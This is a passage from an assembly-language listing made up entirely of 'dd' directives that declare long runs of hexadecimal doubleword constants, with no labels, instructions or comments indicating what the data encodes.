425D0DB4h, 0AF01FF38h, 204067DBh dd 0BD2EE238h, 0AB01DA33h, 2FC095E6h, 0C85C43C6h, 1FA193h dd 5C06C2A8h, 693FF8AEh, 0EEA4240Ah, 0E301DCCDh, 540821Bh dd 0FE767020h, 98E430h, 0A038ABD1h, 3E063513h, 68A3CC0Fh dd 0F70EDF55h, 3800322Eh, 0D02D0D66h, 0DB780585h, 0C0AACAF0h dd 75997747h, 8A3C3203h, 1879A44h, 16BCBA20h, 0F8852F10h dd 433CB5E1h, 0ABD580AFh, 994F2770h, 0D4A100CAh, 5204F77Ah dd 0B200CF66h, 0C2E40FEDh, 0DFCE982Fh, 2C40C0B8h, 39F90C2Bh dd 0F2A68100h, 0D6158F22h, 0CD2300C8h, 56931371h, 0CC073361h dd 89A42ED9h, 820C790h, 908B0388h, 0D34C5648h, 0F5B36490h dd 3D05A800h, 12E808D9h, 0E2CC2627h, 3E60014h, 0C71C15A9h dd 8D13D400h, 0F58F4953h, 89B700FCh, 0A19654F2h, 0B80F6C9h dd 18A20087h, 651B0573h, 401DFB12h, 0C380A1E6h, 48566A6Dh dd 0AD715Ch, 4AB1371Fh, 32384391h, 0FDD6C000h, 870A3CDFh dd 404519EAh, 3037BA29h, 0EF00C440h, 0A71D6342h, 393D24h dd 0B9311FE4h, 3F6FD238h, 61FBEA14h, 8350384h, 0F2CF5CE6h dd 0EFECA06Ch, 533FAC5h, 91117B63h, 0F8BBC05Ah, 6800DB34h dd 929DE30Eh, 0F7B414Fh, 3573360Fh, 94802DC9h, 5EB14ABFh dd 1C507800h, 4F2822A2h, 55E6001Ah, 6AF4F7F6h, 0CE027279h dd 9E406B48h, 0C3A86092h, 128D3A27h, 4A2B5B80h, 469D824Fh dd 7F24390Bh, 56785E7h, 856917C0h, 0BBEC0070h, 5D1AC65Bh dd 231C3DF7h, 2E40A9DAh, 0A08C59D2h, 9380F3Bh, 9BC390BBh dd 4AA05006h, 0A900DDA6h, 8710AFD9h, 0EF90C27Eh, 28AD32D4h dd 3FBE478h, 6564D79Dh, 0A49937C1h, 567A703Fh, 252F324h dd 0BBE58039h, 7C74D611h, 785502F7h, 9C831806h, 8DE0BC4Bh dd 0BA3BDC25h, 7D6E012Dh, 1FA33187h, 19BBAB70h, 71C5E835h dd 0F21060A5h, 44776C06h, 19F6DAh, 48C721DBh, 692F853Ah dd 940724h, 9E410400h, 8412C1h, 0EBD1B45h, 3BBB906Dh, 294F6500h dd 2593797Ch, 92D300FBh, 0C9B7A7FDh, 30E527BAh, 790035CBh dd 0BC9942EBh, 0F4B9FDF1h, 15E7F98h, 7157ADEEh, 0E0D7689Bh dd 8F48901Fh, 0C9FF0058h, 59E32A2Bh, 0FB6426DFh, 7E31043Ch dd 55DC811Bh, 0F840D65Eh, 0D100193Fh, 75201797h, 0E9AA2A1h dd 8C3E04B1h, 30825146h, 0F3A37400h, 30B3F865h, 0E5E022h dd 0CFE32715h, 0C15B34DCh, 182E1E70h, 90770051h, 2C1FB0FFh dd 9D70674h, 0F192578Bh, 0D57A7224h, 23C521Ch, 0B04F3B31h dd 404DC256h, 0D5F6C6h, 0AD4ADC4h, 2DCCF2DBh, 53940807h dd 9E10ECE2h dd 99ED18h, 2DDACC0h, 0C126E47h, 53264B00h, 0BF0A70F9h dd 0FB0F58C9h, 1A41713h, 7A067B78h, 9AE0EBCFh, 0BEC0F1A5h dd 94A82B09h, 0CA370019h, 32FF39F2h, 825CDE49h, 27961EA7h dd 0C0C00A8Fh, 58B41435h, 7EE30F94h, 0CB60D295h, 0B6D107B0h dd 1C758E0Fh, 0ABF9873Ch, 69335B50h, 0A6E8F5h, 64223DC8h dd 0B49EEBB1h, 903B58h, 0BD0766C6h, 0F09AE23Eh, 5DCE00EAh dd 72065C7Fh, 0B4004F89h, 18F0AE04h, 75C97796h, 0D83D07F3h dd 0F0D4EC7Fh, 6D4321FAh, 95FB4102h, 14A2014h, 70EF79C0h dd 1E0EE19Ch, 0C0EEA9C9h, 118AD1FBh, 609B00E7h, 873D1D6Ah dd 7600BC53h, 0E2A54291h, 221BAB2h, 74F5C084h, 78C03BC1h dd 57EAFE0h, 596B9400h, 6A6FE72Fh, 624A0072h, 204FD77Dh dd 490255FAh, 0BBC2AF09h, 31B1408Ch, 5FB100DFh, 6C0D7A24h dd 93001ACBh, 3B3E6081h, 708C883h, 2B96B7FAh, 7DE870E9h dd 0A138CB75h, 6FCE00D6h, 0AF83162h, 0D2C91DEBh, 9766C080h dd 2282C3D9h, 8D47F400h, 0C4D03C2Eh, 4E9C0176h, 0E814817Fh dd 85D480B7h, 3A174416h, 7B0203C8h, 103BB6D8h, 0FCB3111Fh dd 2B24A8C0h, 48588851h, 0F41C4F66h, 83495F42h, 6A1C0141h dd 2B78F8A8h, 0F9C12916h, 5E10DC00h, 969FD9h, 0ACB225B3h dd 3835A730h, 0A002DF2h, 9CEF13A4h, 1F590B44h, 8F71DF82h dd 27E70E5Fh, 0A2C10F79h, 0F0922923h, 0B205E0A4h, 1541E30Bh dd 0E10FE305h, 58C268C0h, 594900Ch, 388FA37Fh, 174C8092h dd 0FB30F760h, 7F2311C3h, 97ED0051h, 2EDF8EF0h, 0C3E055Eh dd 3ED61D12h, 0D4484F80h, 246DCDDEh, 1ED80110h, 0E6670E2Dh dd 0B9276000h, 9D00033Eh, 4B9A2417h, 1CBB0A05h, 0FEDD77Eh dd 116566Eh, 1540D968h, 0F61DF876h, 80263Fh, 146875ECh dd 0F6C482D2h, 1877EA50h, 59AF6228h, 4507AAA9h, 0CB8C2E6Bh dd 9479D130h, 0B188C085h, 0A22DB37Eh, 2791FF1Dh, 0C2B211C3h dd 94D1DDC1h, 42DA4C5h, 4A2F17h, 98AAD554h, 497726F4h dd 9F1CC30Bh, 2B8000B9h, 995348h, 0AEA7EB03h, 0BB44EC47h dd 0D9596600h, 0BC0B084Bh, 5BF90062h, 0A4C9C81h, 380017B1h dd 1691A83Ah, 4C070h, 81BB4BD7h, 27445271h, 5D902800h dd 87511183h, 0CF3D03EFh, 8AC03B07h, 0D41E92B1h, 813B6312h dd 51B86082h, 5328D7Bh, 47B25DF2h, 7AEC80F1h, 681844B4h dd 7CB00411h, 0D6E400DAh, 5878C6EDh, 3F387582h, 4E5A52Fh dd 11121830h, 0A80088D7h, 0A3608DD1h, 4C00C822h, 8BEDA114h dd 2C2677E6h, 0F8C0859h, 81E0D544h, 0E95BB78Ah, 0DA00F971h dd 0F357EF86h, 2EB26h, 460DD576h, 19635A3h, 4E2E6300h dd 380AB3DAh, 0AD0E407h, 8B93F0C2h, 38268Ch, 0BB43E036h dd 0D71FB4C0h, 77007931h, 5263B8A4h, 4DDB0051h, 0DDE0FB0Bh dd 8B00F55Ah, 81CAC342h, 0F2C81134h, 0C2DA38C1h, 77792104h dd 2E76C0DBh, 52132551h, 0C5005C09h, 0E3C6D3D1h, 728B0534h dd 801C60EEh, 9403060h, 0CE88F200h, 69D5AB10h, 96EA2Bh dd 1D13A5A2h, 9B5836EEh, 5B8CC500h, 0E7AF64F4h, 1E280043h dd 903A0F60h, 0B70254BEh, 23AEBA29h, 0A88000A6h, 0D12EBC05h dd 580069C7h, 13312D92h, 832B0A08h, 808CDEh, 3F40E8FEh dd 0AE17DF10h, 6804EBE4h, 88065F6h, 3D67B3EEh, 930EABDh dd 0AC9BA730h, 0C579E8B0h, 891D1892h, 0BEC03F69h, 618FD910h dd 0F9C70F52h, 34A0844Eh, 0A6AD379Fh, 0BC745100h, 99878005h dd 5A2804A0h, 8315673Fh, 0D189C7FCh, 6DF7FCC2h, 4BA56E05h dd 0DC7F607h, 8D623CF1h, 0D9052839h, 80283044h, 0CB96D1A8h dd 820D373Dh, 7D36DF0Ch, 80B0A011h, 3842BA93h, 0BE00DE18h dd 60DB3965h, 5803B2E7h, 6AFE6DE6h, 0E86193D5h, 731497CEh dd 9813024Ah, 5D9E1B33h, 0DAE78CA0h, 0D354BE0Ah, 5727F0B0h dd 7F109928h, 3FF9C8h, 8E8D921Ch, 43EEB635h, 83CD7701h dd 59144438h, 0EC741C70h, 12CCB008h, 0A00C3Eh, 78F43AA4h dd 3700B779h, 2C764CBBh, 7735F156h, 0CD707Eh, 0C81C692Eh dd 11CFAD62h, 0CC92B77Bh, 588C2521h, 5C90FDDBh, 7F0060F4h dd 0D0EBE7BDh, 7BD71E73h, 9A21397h, 9D3CC053h, 36060B23h dd 0C941B1E4h, 33FE19AEh, 9CEF7016h, 7F40CCF8h, 0EEE7EBD9h dd 0EE498BDh, 9A47FD93h, 40CA5E1Fh, 88FC7BB8h, 0C0ED3EA9h dd 0A304BD42h, 6CE6F526h, 8BA56C80h, 1D4F008Ch, 722B2EB3h dd 4005A6Dh, 9D932824h, 2C4392h, 0C3155EFDh, 0F6B107DCh dd 0AE61CC1Ch, 8D004464h, 13C9BE4Ah, 0D18900D5h, 0D9836C1Bh dd 1500684Dh, 60EFA3CFh, 0ABE4285h, 135DA0DDh, 9A2000A8h dd 0BA24F68Fh, 9EE9C100h, 8730822Eh, 26CB0355h, 7AB1B7D4h dd 81E0A9C2h, 3B00DE98h, 1721DA3Ah, 0A82F3E48h, 78E646C0h dd 6DB1009Bh, 4F67EF1Ah, 0DC09E0E9h, 0CF281h, 702F84A5h dd 0E2160099h, 0BF987349h, 6C3EFFC5h, 0DD7B8053h, 0E7C0EAC4h dd 0A0941716h, 40800256h, 10785AF5h, 170B9C01h, 2B71B8D8h dd 2542420h, 4BFCD050h, 0F8C1CD5Fh, 0CF14ECC6h, 70358916h dd 232EBC43h, 0E525D038h, 9B4D035Ch, 52BFA726h, 0F01477D7h dd 0D188E0EDh, 1C805D01h, 0F53F2635h, 2E5AC370h, 9AD979h dd 2CA548D8h, 8F004125h, 907319D6h, 43ECB5Fh, 6A4A67A8h dd 0C684C068h, 0F101FAC0h, 8F62F047h, 945142E4h, 9822BD59h dd 0FE99097Eh, 0E00EEAh, 8900A2D2h, 0FF285530h, 1F270A25h dd 0CED9518Ah, 5A002D8Fh, 4A2C07A0h, 2E0C6717h, 0FBE812h dd 0D716BECAh, 750E1209h, 20450342h, 0CB52D030h, 743A0060h dd 6BDC34F8h, 0C800260Ah, 9BF57865h, 700969h, 86A2CAB3h dd 27715EF0h, 0F4C6D59h, 0E024EA84h, 86A137A9h, 22B700CDh dd 0E93F4B19h, 9201C53Eh, 0D46760ABh, 8874F6A5h, 99170076h dd 0A89315A3h, 4E4C7F6Eh, 736B1784h, 8C002E16h, 0C72016C1h dd 65D814E7h, 85018089h, 1D0CD6ACh, 70E0E477h, 0BBE0EE71h dd 6A2B3D07h, 7CC0E378h, 130DBAB0h, 34C126Dh, 6B462854h dd 20F8F084h, 0CA07E8F6h, 2FE75339h, 0E027E925h, 0A9B4202Bh dd 0E2E4780h, 6665CF76h, 6A00100Bh, 0EE053F08h, 72612A00h dd 6AA7E1EAh, 0D76D1FFBh, 62504071h, 0F19658B4h, 746EAD00h dd 2B39C210h, 0E38800EAh, 75C46B73h, 8C0F3D12h, 40DB48CCh dd 0DDC1F62Ch, 725600B0h, 0D399F42Eh, 68011EC9h, 0EBE81483h dd 0CECF2F7h, 4FC1907Fh, 7A43BCE1h, 0A5E65A00h, 39B49D68h dd 381A0C77h, 5D8E96Ch, 84B29500h, 0A18AA481h, 987E0557h dd 0E48DED5Ah, 68006070h, 69230542h, 5DA5FE06h, 0BA00043Bh dd 3AB8DD09h, 26017085h, 9CF1B768h, 184341EEh, 7110E8Fh dd 0D6606F19h, 51C1277Bh, 0D92B600h, 0F93A852Dh, 4771C0FAh dd 3943387Dh, 858185F5h, 0B4E01A30h, 26FF0798h, 41DFE64Dh dd 0BC043289h, 873E18h, 0F70FC76Bh, 4B7B3DE7h, 0DD1E0Ch dd 14DC0B90h, 6400A01Bh, 2E3D6EE8h, 0C70DFA85h, 9076A959h dd 0F9CF9CE5h, 490E8911h, 5C926860h, 0F8F37BFAh, 37157D9Dh dd 1050CE43h, 87880DD7h, 7402A410h, 0C51858E6h, 389C1080h dd 0F50FBAF9h, 0E008EE2Eh, 7BA20B01h, 9AEF0055h, 1119B8D9h dd 397C8D65h, 81A3E13Ah, 0E98EC1AFh, 4470FA1Fh, 0C5680064h dd 3F384DC6h, 47A6C1Ah, 5EF4F002h, 6074B2CBh, 0B16241h dd 0C9508CFAh, 1DDB3EBEh, 111B2207h, 15200FA2h, 75A931D5h dd 0AC0400C7h, 0D7A693BEh dd 37023C63h, 2DC8FBEAh, 0F85B4060h, 8FFA036Eh, 175ABEC1h dd 8002F83Eh, 68E0CD36h, 1D062F55h, 182E4D90h, 8E50211Fh dd 0E813CE00h, 7888FA08h, 7BDC00EFh, 47E261C0h, 76008ED8h dd 0E8FBBC49h, 0C5E42FAh, 65D97164h, 99241210h, 76810CF9h dd 5431ACA9h, 809AE8F3h, 0C43F6695h, 490821EEh, 88E86820h dd 222F1E34h, 0A1F159D4h, 0ECCEBDD8h, 1CB3EC20h, 5D4F2088h dd 0A2EE0125h, 891D5FCAh, 0A02C338h, 0F1408463h, 639D6EAh dd 19E5C663h, 0F36E09EEh, 0D6B24021h, 1CC2AB9Eh, 44B85AA7h dd 40E40641h, 0D71FC73Ch, 15DC00CFh, 970DDA5Ah, 0D5005C40h dd 0AD071042h, 6F91B2Ah, 5BA811D0h, 2207B106h, 7DB1DC42h dd 85FAED50h, 6098907Ah, 6AB7212Bh, 4E005DDCh, 89F858DAh dd 6D86045h, 0F4EAA202h, 7801D0F2h, 540A0E42h, 9DC807C4h dd 6683D39h, 0B1A43800h, 833FBE14h, 2CCFBA00h, 725E9590h dd 0E0EA0073h, 94C352F4h, 0B35CB43Dh, 0B89E00A2h, 0AC9A9BBBh dd 154072Fh, 501298E2h, 6B493E66h, 37F7801h, 0DE7D15B7h dd 3F7363FCh, 0EB8FFDC1h, 8B00E180h, 85137C12h, 87494700h dd 6459A3FBh, 0EC29E630h, 9E77008Bh, 0B0C49F0Eh, 0F9001680h dd 6F5625E4h, 8AA8CFh, 94A208AFh, 0FBFF484Fh, 97B73A00h dd 95675209h, 13E0FF8Eh, 0C08A0F0Eh, 7A6FA904h, 77E027EFh dd 2C836519h, 0CCF1F00h, 0A324C31Eh, 5822C756h, 0EED960F0h dd 18004DE5h, 536325EBh, 58939E12h, 2F0063C5h, 0B6FDFF13h dd 2501EC28h, 1E10C1A3h, 0DA6063A5h, 71C20040h, 0DD7A49CCh dd 567492FFh, 0F220A00h, 5119816Dh, 0F47B28C9h, 0B043E1ACh dd 4EF9C0E6h, 0F02339D2h, 40F0CD1h, 0D40CF48Eh, 9E009810h dd 80B83277h, 6957BCh, 0CDEB3CD6h, 31F49CC3h, 0EB69103h dd 7179AC98h, 0A8444429h, 84EDCF44h, 0D4898371h, 0BD172841h dd 3103912h, 13B58B82h, 0C42F0C14h, 92445528h, 3DA42065h dd 2519CC42h, 476151B0h, 48AEA414h, 0B2234210h, 5221DD24h dd 826412ABh, 25B9CA64h, 351404E9h, 28E84AA0h, 94287F08h dd 3A1964C5h, 0BD5C29A9h, 9F61BC51h, 4280EDFFh, 0D8B0F429h dd 955A26B2h, 392C4Fh, 5D4B60CEh, 90008E76h, 0F9B220FFh dd 0F2BFBB0h, 0E4721D0Ah, 0F8689520h, 5A02131Bh, 19ED9DA1h dd 0B1566005h, 8A633AF5h, 8E807EB8h, 3E384218h, 80EB5B45h dd 9F97F712h, 93DE23h, 4B1DA8E1h, 0C6676E3Dh, 0CC1C47F0h dd 3280DD06h, 0D038548Ch, 27DF0045h, 41F1EB0Ch, 0B24C184h dd 10018B7h, 2034E693h, 90B000A9h, 5C956115h, 2B312F3Ah dd 0D94FD0E1h, 0B630C0h, 0D606DC4Ah, 944017FAh, 7876303h dd 1C78F4Bh, 0D3CB1990h, 80C33F60h, 7392EC68h, 15BF10Ah dd 0FA31AE54h, 0D97C6CFEh, 0C58083C3h, 0A1105001h, 7BE0A74Fh dd 0D8E30062h, 8393A603h, 0D7031465h, 0E7B23F52h, 5D848068h dd 66D400DAh, 14541CD6h, 0A007692Fh, 4CDF7686h, 156ED950h dd 0E4940017h, 4F9FEA12h, 98005838h, 4885F572h, 0AC1B02h dd 0F70EBAA3h, 373A6293h, 0F1C65F00h, 5249631Dh, 0E01B6268h dd 0C05F705Dh, 152B42h, 6D65DAF7h, 959CC8F5h, 0A9F86260h dd 37E4FD3h, 0FD52AD72h, 9188334Ah, 2C005C1Fh, 871D1785h dd 9BA230h, 67156A4Ch, 5FA4B8B9h, 80EA1F3Fh, 8C212BA9h dd 3F7880h, 8D8BA285h, 2326670Fh, 0F04148h, 22041EE8h dd 2F06871h, 75AABB2Fh, 1CE044B1h, 0B400742Dh, 95AF3BCFh dd 84C865h, 473153A5h, 6E06D42Ah, 0AEF62F00h, 211B9796h dd 9EFC01h, 2ABFDE69h, 3846E37Bh, 14E9ED00h, 98F4EC7h dd 6B9F01C3h, 0F4ADBB90h, 0CF88ECD5h, 99C2FB00h, 0C71C76FEh dd 0A6B400F7h, 4F46B1A1h, 10C08E56h, 6EFD2360h, 42E304E6h dd 0D0B2C47Dh, 46F35154h, 0C1C5800h, 7AE6AAE7h, 1474019Ch dd 8B502E5Eh, 0A48DCC9Eh, 0EF070400h, 0EA5C990Ah, 89A500F1h dd 33C1ED16h, 0EB3D0DB5h, 693FF2B4h, 926F008Eh, 0F1D91E8h dd 85060096h, 0E7123034h, 0B200BA74h, 5CE208B5h, 3C4CC20Dh dd 0C685A1A7h, 878F38CFh, 678460F6h, 69380BB1h, 50E40020h dd 9AB2A842h, 0FB94005Ch, 0CDE55304h, 35018557h, 773E90D5h dd 69D525C1h, 4709F8h, 4DE9EB19h, 54BE1F87h, 8ACF200h dd 979EC017h, 0A55F3E11h, 0B5591Dh, 66B720D7h, 0D50021B2h dd 3FC665F3h, 367D99h, 17FF429Eh, 0A788EC23h, 6427131Eh dd 0AEBE35C3h, 0F074F86Ah, 8BC41CEFh, 0BB40805Fh, 604E55FAh dd 1FFDB39h, 44C9EB4Bh, 19EC7088h, 6C7500A1h, 81DD59C1h dd 7700CE34h, 5117C03h, 382C8EB0h, 2600A28Ch, 40615D5Ah dd 0A800594Fh, 9A7DA953h, 45CC19Bh, 0E63E6A21h, 0BCEC8012h dd 2B385042h, 0FB711FC3h, 4474D3C0h, 7B970h, 6A881CE7h dd 0D5610C29h, 0C4391100h, 7E64365Bh, 0FC00028h, 6953197Ch dd 2000EA8Fh, 0F8263AF2h, 1281ACEBh, 0FB25D061h, 0D73CCC00h dd 28E354h, 0F122B653h, 751B95E7h, 0F8FA643Fh, 8BAD3E02h dd 0E08C8011h, 9CBC0Dh, 1E91E219h, 0C02AE9D5h, 1D20500h dd 443ACBEEh, 2E063CE4h, 0C063FD1Dh, 723F45B1h, 940E922Dh dd 0A3A0DD4Dh, 0C088106Ah, 327630Eh, 2E91CC15h, 7D8C760h dd 0EF3A11A8h, 0D3E90FF0h, 99C47F5h, 0B157EE00h, 2629003Fh dd 0B9C4DA0Ch, 8C28957Ch, 5203B460h, 0C88A4EDEh, 0A4509F16h dd 8038D5h, 0B29DFF99h, 0C6592F89h, 6C9AF209h, 2A0F80BDh dd 77972D8h, 0D31B1AB4h, 513C0346h, 0A21C54D0h, 2543C900h dd 0FFD4EB7Dh, 8C395089h, 3E1A1CDDh, 0EC0E00F0h, 0B36CCB0Bh dd 9DB95D3Bh, 6B8370A2h, 9044A5E3h, 5EDA0Fh, 12D6EB82h dd 0A6A27823h, 3BFB6D1Dh, 0AC185940h, 2DBAB0h, 0F2D95D7Eh dd 7B0BB9A4h, 8D58FB75h, 0B03E0072h, 0C13A8BCh, 0AC581E71h dd 1F860631h, 5900905Dh, 99CF9B06h, 0E2C2F51Ch, 5818C06Ah dd 0FC9C194Bh, 12DD9D00h, 2A1A0DEFh, 88DC002Fh, 61173C4h dd 14005380h, 5B9E49Dh, 0AF21AE5h, 0F1650BDDh, 0C3CF1EB4h dd 44BB6B9Eh, 0FB3B8990h, 0F4011F72h, 87B963CCh, 9C4010A4h dd 12C34126h, 0F3D3FAh, 7C0E9B28h, 5407E2C7h, 67D82342h dd 1C83A400h, 73992463h, 0B35100DFh, 8BCA3BD0h, 5B41D500h dd 793E6996h, 9A15007Fh, 64514C0Dh, 0D0E06C59h, 0DD194800h dd 0CC5313BDh, 0C1EE39DFh, 0DB8DAA80h, 80DCAD02h, 4DB04A00h dd 0A7DAA4AFh, 20294C57h, 714FEB01h, 0D4595814h, 9C0BF29Ah dd 0EAF6E3h, 2AD9C08Bh, 0C8EF0040h, 5F66470Ch, 8D00FC2Dh dd 0C541EA42h, 2EBF223Ah, 804849F9h, 0DA599A19h, 0F0929F2Ah dd 0DD2F2501h, 3162E268h, 1EA80430h, 0CBAEB4ABh, 0F7601Dh dd 0F166850Bh, 5C50047h, 0A94DCFF4h, 1C00C462h, 0DE21704Eh dd 0A4FA2Fh, 0BA83ABE1h, 6A13EF81h, 0D780F01Fh, 8000424h dd 74B88AFh, 4F010014h, 25175FCEh, 830082F7h, 1D286860h dd 93656Bh, 0F13A161Ah, 37A35CBFh, 3447AA0Fh, 0DC102053h dd 1856A7DBh, 0A04666B5h, 0D102E45Bh, 31C4C343h, 0AE5E4053h dd 7096001Eh, 8B4B2CAFh, 0D20073ABh, 252FFD49h, 0E8CE7A21h dd 6BC1004Ah, 2EEEF6B6h, 0FE008A9Ch, 2B8A5EDh, 9A362A4h dd 0CE6FEC50h, 0B7012C00h, 0F1009844h, 0A4EE46E5h, 4F89103h dd 3DECA6B1h, 0C09087ADh, 64A9F080h, 6ED4E904h, 70C02857h dd 145DF65h, 4F6D18F7h, 0CF76A76Ch, 1BFC002h, 0A05EEF29h dd 79AF9688h, 21E46070h dd 850C3EDAh, 8A00227Fh, 419AEA33h, 382DC0F6h, 58035012h dd 0A27B380Bh, 2784EE0h, 9FFC3902h, 0E01E6B98h, 0F0EB6C0Fh dd 0E01A00A1h, 0A49DAA2Fh, 0BF2CAD32h, 0D3002CE8h, 0FAF17A4Dh dd 0BE451365h, 0C4140070h, 0CCE71847h, 8071F338h, 5B228CBAh dd 4F207EFh, 4B39C25h, 6904C2EAh, 0DD041044h, 166B8A30h dd 0E4712880h, 1E2C0092h, 0C559B999h, 76588863h, 945F005Ch dd 1CF23C06h, 1CCEEAF9h, 80C29169h, 1492D6D5h, 800DB1F1h dd 0A8E2ADB5h, 4CBEFAD8h, 0DF054855h, 400D1812h, 2C523B0h dd 0E609B7F1h, 204C2A50h, 0D426D368h, 79880943h, 0FC0E44D1h dd 9415F6E0h, 8A051AB9h, 0E682D525h, 0AEA96480h, 0E27E0085h dd 0FA324BCCh, 0CE0316C6h, 0C58219FBh, 1B8A012Dh, 0FD70B693h dd 412830DEh, 0A4F50C00h, 3B9E12CAh, 13F0017Ch, 57E52D9Dh dd 888020A2h, 0CC002F73h, 0D2869487h, 1C97DE39h, 410384A4h dd 92A8E8D5h, 0A513D0EEh, 52B59500h, 0B623E13Fh, 0B4C8072Ah dd 118F71D4h, 70D3275Bh, 1090433Eh, 4D60DB00h, 7C50DC4Eh dd 8CF301ACh, 5D7FD9C3h, 4C8AF88Dh, 0EF2DFA03h, 0F8441825h dd 3715110h, 6428DC6Ch, 0ED804DE2h, 74908570h, 88FFA700h dd 0B6301110h, 52A4A8A8h, 0C1560094h, 0D9511A2Dh, 1400E245h dd 6D585C0Ah, 92B1050Fh, 8BE71358h, 7FCA0080h, 8A44803h dd 98044090h, 0F5ABB85Ch, 0F837A900h, 8883FE7Fh, 7EB1BA8Dh dd 72961239h, 84DC00E5h, 8027588Ah, 92A63609h, 9BA0800Eh dd 0AF3C2Fh, 0B7F4DCF6h, 29189D2Bh, 45058701h, 0C9B42EB1h dd 0B88219EDh, 2D5E2431h, 4F1F404Eh, 824B9FC7h, 9458006Ch dd 3D63D34h, 0E447DD0Ch, 41D7038Dh, 240D2D1Bh, 0B5125338h dd 4442ED6h, 90D10B63h, 97EC14E9h, 0A570C512h, 0B6AB0A0h dd 0DCD0CA01h, 88BDAA58h, 1FB814FCh, 701B8Bh, 0ED3D4D5Eh dd 0CB1E05CDh, 230E66F8h, 4072046h, 5C405F80h, 0A000D1BDh dd 368C1179h, 0D730EE93h, 4CEA109Fh, 61F4C3h, 6A68D23Bh dd 0EB7A8A6Dh, 0E275A300h, 0CA249359h, 95A7007Dh, 0A8DBFEECh dd 0B63ACC03h, 0BBF4D03Bh, 5115F50Fh, 18FD20DFh, 176BA91Ch dd 1DF916DEh, 19F7EC3h, 99CD8004h, 63BFACECh, 75232200h dd 8DB24AC8h, 0FEE200D0h, 2D3C1BC5h, 34B06A91h, 0B7A24612h dd 3FE90098h, 0CE807638h, 9535FC27h, 5907E1DBh, 56C27BE5h dd 4E7AC390h, 964C14BDh, 0B809CC7Eh, 0A005A65Ah, 0E970C849h dd 67633Dh, 79A3E5EDh, 0B84759C7h, 0F9423820h, 0F4E26E00h dd 0D31C0481h, 7093B90Eh, 1946C096h, 1359F30h, 3CF8F6F2h dd 32025B60h, 30B22E24h, 0E9256800h, 132467h, 4D8EDB2Ch dd 3D3F73Fh, 9D001970h, 0E37A8747h, 903BA070h, 9E0041Bh dd 903AA415h, 83D7B3A0h, 0EB061600h, 60C71EB9h, 0B61305FEh dd 0C0471229h, 0FF1CE672h, 377D43F4h, 31B7330Fh, 0FD4DA0E8h dd 0C06EC890h, 0A94E53B0h, 0C204CD72h, 0FFFA8AC5h, 340C9881h dd 7ACC8848h, 5C6913D4h, 0D3180E30h, 2C8458C6h, 0DE26BB80h dd 15B4A12h, 942008C1h, 0E7CC8431h, 0E59B00D9h, 3F57B57Ch dd 0C025286Eh, 95C80416h, 9E654FC0h, 1CD7195Bh, 0E8621805h dd 7500C44Bh, 79E85695h, 113523h, 8C0A773Dh, 788EA781h dd 0D910E300h, 0DC039061h, 20600E95h, 47808545h, 0B567A38Eh dd 7E3E8A00h, 0DB743B5Dh, 43F60028h, 75093C04h, 11F203B2h dd 1E7AD807h, 0C610A445h, 7829E4Ah, 67726ABh, 0FAAAB180h dd 74BC40C0h, 0A5003109h, 5C5BB4FCh, 7E62C2h, 3A72381Ah dd 0E8D8541Eh, 0EF499000h, 9FF81F4Eh, 2FCB87Bh, 9BAD9C8Ah dd 106157D1h, 0CCAAC8A9h, 183D032Ch, 0E4DF0100h, 71A6A01Ch dd 7C089A25h, 4C80006Bh, 0C1230874h, 1702EC56h, 6E82DB87h dd 71B0E164h, 758EFCh, 8D26597Dh, 5B6B1848h, 559D9800h dd 0C7202987h, 4BE0F867h, 469870E4h, 0F8A0D612h, 0D7027AFh dd 4F58621Fh, 0E36BCFh, 74604A3Fh, 0AE10C075h, 0F9F1EAA3h dd 0F4FBF388h, 78D02CF6h, 0A45D0020h, 6C3213B3h, 284B3624h dd 80C75708h, 9985329h, 19306A54h, 77D366A4h, 615C0055h dd 3AFBEE87h, 4FB8BFB4h, 0C76D1100h, 3D0DA15Ah, 2AB90066h dd 7B72F505h, 0BB50E347h, 0A90073B2h, 0E29AE543h, 4A8DCD4h dd 7B108339h, 94846Fh, 9F915ABFh, 5900C0FEh, 1E2B69DCh dd 0FEAFBA22h, 0C4A20792h, 0F30DBD45h, 16806DABh, 0B500E3E2h dd 0CE720988h, 26A418Dh, 0ED7CEE05h, 40607164h, 0F6426286h dd 0E81AE900h, 0F078D7B7h, 1F4CCE00h, 967E8456h, 55A20008h dd 49912502h, 17778C41h, 0AD8F5101h, 0D026B76Bh, 5AC6960h dd 0FF53FA25h, 0DA980E81h, 0D2C0D875h, 52B1C422h, 99C15300h dd 17DDCF14h, 9846E81Ch, 0EBBB0650h, 11882FD4h, 1B3F820Fh dd 23514017h, 4F21A2h, 0D622D9BFh, 6E0309A1h, 0E5E833EEh dd 40E9AF00h, 97461506h, 0A0A0A00Bh, 0ED20557h, 1EAA3Dh dd 811F9E83h, 0AF24767Ch, 0A100D829h, 0F12334F8h, 820C0025h dd 1136F3FEh, 0CC00665Ch, 19694E6Eh, 0B63E0Bh, 37B19CF6h dd 0D4E36C4Dh, 304C783Eh, 10C411DAh, 0ABC901BDh, 0B81505A9h dd 0F7898BACh, 2BB01031h, 19213D64h, 82942724h, 57743DCCh dd 41168840h, 0EBCDDB00h, 0D7B8C3C7h, 5F7D0052h, 0F29D09EAh dd 0D6072859h, 9CFB6E68h, 5C168059h, 61AE46Ah, 3892E535h dd 0CE0021E0h, 0C8C0F23Ah, 551FCCAh, 0E3794715h, 0A8D08023h dd 2F005D69h, 0CC579E32h, 4B4B18Eh, 70B2B35h, 5F28A0D4h dd 4D679900h, 0CEF1E676h, 376B0091h, 5304C750h, 64B8829Ch dd 0A3183A00h, 738743C8h, 0A0C00951h, 0A4E0161Bh, 6D3949B3h dd 5408E65h, 400D7E2h, 3112F8EDh, 34EB588Ch, 0BC332404h dd 3A54B084h, 5E0EA900h, 0F7E4DBCAh, 562C0046h, 8E162A11h dd 0A00088E7h, 8AFF01Fh, 0B219B93Ch, 9CCCB12Ch, 8D00E05Fh dd 675A8604h, 5DCD14h, 6171348Ch, 0E03BFC9Ch, 8B5BB01h dd 0CA2BAE5Ch, 0F14E3F4h, 91B15064h, 9F988EE0h, 160F0766h dd 811AA6ACh, 24EAB8E8h, 0E89085E8h, 43026ECh, 2D4126Fh dd 8C2A9F7Ch, 93E42070h, 989E4017h, 81F9813h, 90803CA4h dd 79B8F252h, 67AF0974h, 820E26Ah, 0B5471CD8h, 0A03B27h dd 0CBD91EC4h, 0EBF242h, 21AF0D5Eh, 0FC12D23Ah, 17D75200h dd 5429ACD0h, 0BBE503DCh, 0F056A471h, 4925B580h, 0AFAEBC00h dd 55ED3191h, 4C50987Bh, 0DF1EE2C0h, 1865772h, 0A30D9B8Ch dd 9DFEE4C2h, 